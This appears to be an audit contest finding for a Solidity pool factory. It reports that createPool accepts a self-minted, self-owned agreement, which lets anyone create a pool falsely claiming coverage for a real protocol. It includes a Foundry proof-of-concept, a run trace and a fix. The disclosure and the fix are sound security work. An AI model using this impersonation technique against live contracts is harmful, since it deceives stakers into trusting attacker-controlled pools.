FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: low

`createPool`'s authorization gate is fully self-satisfiable via a permissionless, self-owned fake Agreement, letting anyone impersonate coverage for a real protocol

Author Revealed upon completion

Description

  • createPool gates pool creation on two checks against the caller-supplied agreement address: safeHarborRegistry.isAgreementValid(agreement) and IAgreement(agreement).owner() == msg.sender. Both are treated as proof that the caller is a legitimate protocol sponsor.

  • Neither check actually proves that. In the real, out-of-scope BattleChain library: AgreementFactory.create(details, owner, salt) has no access-control modifier at all — any address can call it, pass arbitrary AgreementDetails, and name themselves as owner. The moment it's called, isAgreementValid returns true for the new agreement (it only checks factory provenance, not authenticity — the registry's own interface NatSpec says so explicitly). The self-appointed owner can then call the agreement's onlyOwner addAccounts to add any address, including a real, unrelated protocol's contracts, into isContractInScope.

function createPool(
address agreement,
address stakeToken,
uint256 expiry,
uint256 minStake,
address recoveryAddress,
address[] calldata accounts
) external whenNotPaused returns (address pool) {
if (agreement == address(0) || stakeToken == address(0)) revert ZeroAddress();
if (recoveryAddress == address(0)) revert ZeroAddress();
if (!allowedStakeToken[stakeToken]) revert StakeTokenNotAllowed();
if (expiry < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (!safeHarborRegistry.isAgreementValid(agreement)) revert InvalidAgreement(); //@> only proves "deployed by the configured AgreementFactory" — not that it represents any real, vetted protocol
if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator(); //@> "owner" is a raw constructor param the caller sets on themselves when they mint their own fake agreement — proves nothing about legitimacy
...
  • Neither ConfidencePoolFactory nor ConfidencePool ever resolves the actual "Binding Agreement" for the accounts supplied (e.g. via AttackRegistry) — the exact cross-check the registry's own documentation warns integrators to perform before trusting isContractInScope/isAgreementValid for anything beyond factory provenance.

Risk

Likelihood:

  • Fully unprivileged and permissionless end-to-end: minting a fake agreement, naming yourself its owner, and populating its scope are all normal, un-gated calls to real, already-deployed BattleChain contracts. No compromised key, no privileged role, no waiting on any external event — any address can execute the entire chain in three ordinary transactions, at will, repeatedly.

  • Confirmed by a working Foundry PoC that does not depend on any speculative behavior — every step succeeds exactly as the real contracts' own source documents.

Impact:

  • The resulting pool is not a degraded or obviously-fake artifact — it's a real ConfidencePool clone, correctly indexed in getPoolsByAgreement/poolCountByAgreement, emitting the same PoolCreated event, using the real, trusted defaultOutcomeModerator. Its on-chain scope commitment (isAccountInScope) falsely references a real, unrelated protocol's contracts, while every fund-controlling parameter (recoveryAddress, and thus who profits from a CORRUPTED sweep) is fully attacker-controlled.

  • Direct monetary loss requires one additional step outside this contract's control — a staker or bonus contributor choosing to trust the fake pool — so this is a deception/impersonation primitive rather than a direct, unconditional fund-extraction path. Capped by that precondition, but the deception surface itself (a real, indexed, moderator-blessed pool falsely claiming coverage for a named protocol) is fully attacker-manufactured with zero cost beyond gas.

Overall: Low-to-Medium. The mechanism is real, unprivileged, and trivially repeatable, and its output is indistinguishable on-chain from a legitimate pool — but, it doesn't move funds by itself; it manufactures the bait (a convincing, factory-blessed pool) that a separate victim then has to walk into. Rated below the fund-draining findings for that reason, but above a pure informational note since the deceptive artifact itself requires no privileged access and no cooperation from anyone at all to produce.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
contract PoC_FactoryFakeAgreementImpersonationTest is Test {
uint256 internal constant ONE = 1e18;
address internal constant REAL_PROTOCOL_CONTRACT = address(0xA0A1000000000000000000000000000000000A);
MockERC20 internal token;
MockSafeHarborRegistry internal registry;
ConfidencePool internal poolImplementation;
ConfidencePoolFactory internal factory;
address internal defaultModerator = makeAddr("defaultModerator");
address internal attacker = makeAddr("attacker");
function setUp() public {
token = new MockERC20();
registry = new MockSafeHarborRegistry();
poolImplementation = new ConfidencePool();
ConfidencePoolFactory impl = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(impl),
abi.encodeCall(
ConfidencePoolFactory.initialize, (address(registry), address(poolImplementation), defaultModerator)
)
);
factory = ConfidencePoolFactory(address(proxy));
factory.setStakeTokenAllowed(address(token), true);
}
function testPoC_AttackerSelfOwnedAgreementImpersonatesRealProtocolCoverage() external {
// Step 1: attacker permissionlessly mints their own "agreement", naming themselves
// owner. In production this is `AgreementFactory.create(fakeDetails, attacker, salt)` —
// a plain `external` call with zero access control.
vm.prank(attacker);
MockAgreement fakeAgreement = new MockAgreement(attacker);
// Step 2: the moment an agreement exists via the (real) factory, the registry reports
// it valid — no admin/owner action required.
registry.setAgreementValid(address(fakeAgreement), true);
// Step 3: attacker, as owner of their own agreement, stuffs a real, unrelated
// protocol's contract into their agreement's scope (`onlyOwner` in production —
// attacker qualifies, they own it).
vm.prank(attacker);
fakeAgreement.setContractInScope(REAL_PROTOCOL_CONTRACT, true);
address[] memory scope = new address[](1);
scope[0] = REAL_PROTOCOL_CONTRACT;
vm.prank(attacker);
address pool = factory.createPool( //@> both createPool gates pass, satisfied entirely by attacker's own self-created agreement
address(fakeAgreement), address(token), block.timestamp + 31 days, ONE, attacker, scope
);
assertEq(
factory.poolCountByAgreement(address(fakeAgreement)), 1, "pool is canonically indexed by the factory"
); //@> proof: no degraded path — identical bookkeeping to a legitimate sponsor's pool
assertTrue(
ConfidencePool(pool).isAccountInScope(REAL_PROTOCOL_CONTRACT),
"pool's on-chain scope commitment falsely claims coverage for the real protocol's contract"
); //@> proof: published scope references a real protocol's address the attacker never controlled
assertEq(ConfidencePool(pool).outcomeModerator(), defaultModerator, "pool uses the real, trusted default moderator");
assertEq(ConfidencePool(pool).recoveryAddress(), attacker, "attacker controls the CORRUPTED-sweep destination");
}
}

Run: forge test --match-path "test/FactoryFakeAgreementImpersonation.t.sol" -vvvvPASS (gas: 584241)

[PASS] testPoC_AttackerSelfOwnedAgreementImpersonatesRealProtocolCoverage() (gas: 584241)
├─ VM::prank(attacker)
├─ new MockAgreement@0x9599... // attacker mints their own "agreement", zero cost
├─ MockSafeHarborRegistry::setAgreementValid(0x9599..., true) // real system: automatic, no admin action
├─ VM::prank(attacker)
├─ MockAgreement::setContractInScope(REAL_PROTOCOL_CONTRACT, true) // attacker (owner) claims a real protocol's address
├─ MockSafeHarborRegistry::isAgreementValid(0x9599...) → true
├─ MockAgreement::owner() → attacker
├─ VM::prank(attacker)
├─ ConfidencePoolFactory::createPool(0x9599..., token, ..., attacker, [REAL_PROTOCOL_CONTRACT])
│ ├─ MockSafeHarborRegistry::isAgreementValid(0x9599...) → true // gate 1 passes
│ ├─ MockAgreement::owner() → attacker // gate 2 passes
│ ├─ new <clone>@0x85eF...
│ ├─ ConfidencePool::initialize(...) [delegatecall]
│ │ ├─ MockAgreement::isContractInScope(REAL_PROTOCOL_CONTRACT) → true
│ │ └─ ← [Stop]
│ └─ emit PoolCreated(agreement: 0x9599..., pool: 0x85eF..., outcomeModerator: defaultModerator, ...)
├─ ConfidencePoolFactory::poolCountByAgreement(0x9599...) → 1 // canonically indexed
├─ ConfidencePool::isAccountInScope(REAL_PROTOCOL_CONTRACT) → true // false coverage claim, on-chain
├─ ConfidencePool::outcomeModerator() → defaultModerator // real, trusted moderator
└─ ConfidencePool::recoveryAddress() → attacker // attacker controls fund destination
Suite result: ok. 1 passed; 0 failed; 0 skipped

Recommended Mitigation

Don't treat isAgreementValid + self-reported owner() as proof of legitimate protocol sponsorship — the registry itself documents that they aren't. Resolve the actual Binding Agreement for each accounts entry via AttackRegistry (or an equivalent authoritative cross-check) before accepting an agreement into createPool.

function createPool(
address agreement,
address stakeToken,
uint256 expiry,
uint256 minStake,
address recoveryAddress,
address[] calldata accounts
) external whenNotPaused returns (address pool) {
if (agreement == address(0) || stakeToken == address(0)) revert ZeroAddress();
if (recoveryAddress == address(0)) revert ZeroAddress();
if (!allowedStakeToken[stakeToken]) revert StakeTokenNotAllowed();
if (expiry < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (!safeHarborRegistry.isAgreementValid(agreement)) revert InvalidAgreement();
if (IAgreement(agreement).owner() != msg.sender) revert UnauthorizedCreator();
+ for (uint256 i; i < accounts.length; ++i) {
+ if (attackRegistry.getAgreementForContract(accounts[i]) != agreement) revert NotBindingAgreement(accounts[i]);
+ }
...

This closes the gap at its root: an attacker's self-created agreement can claim whatever isContractInScope entries they like, but it can never be the Binding Agreement the AttackRegistry actually resolves for a real protocol's contracts, so the cross-check reverts before a fake pool is ever created. If a stronger on-chain guarantee isn't practical short-term, the factory should at minimum surface this gap explicitly (e.g. in PoolCreated or a dedicated view) so off-chain indexers/UIs don't treat getPoolsByAgreement alone as a trust signal.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!